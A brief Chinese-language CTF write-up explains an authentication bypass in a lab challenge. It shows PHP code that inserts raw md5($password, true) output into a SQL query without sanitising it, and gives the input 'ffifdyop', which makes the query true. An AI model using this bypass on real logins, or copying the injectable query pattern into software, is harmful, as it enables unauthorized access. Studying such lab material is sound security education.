Note:
|
Link:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
考点:md5的SQL注入
进去之后提示输入密码,随便输入一个字符串提示密码错误,查看源代码发现有一段有用信息
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
分析逻辑用户是admin密码要经过md5加密之后进行SQL查询,你并不知道password,但md5里面的true很有用
一般我们见到的md5加密中都是没有True的这一点提醒了我们
利用True的特性构造一个特殊的字符串 "ffifdyop"
false: md5加密:md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
true: 十六进制转字符
若输入该字符串,则SQL语句变成
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = 'or'6É]é!r,ùíb";
逻辑则是false or True => true
成功进行数据库查询,有记录返回,满足if条件打印flag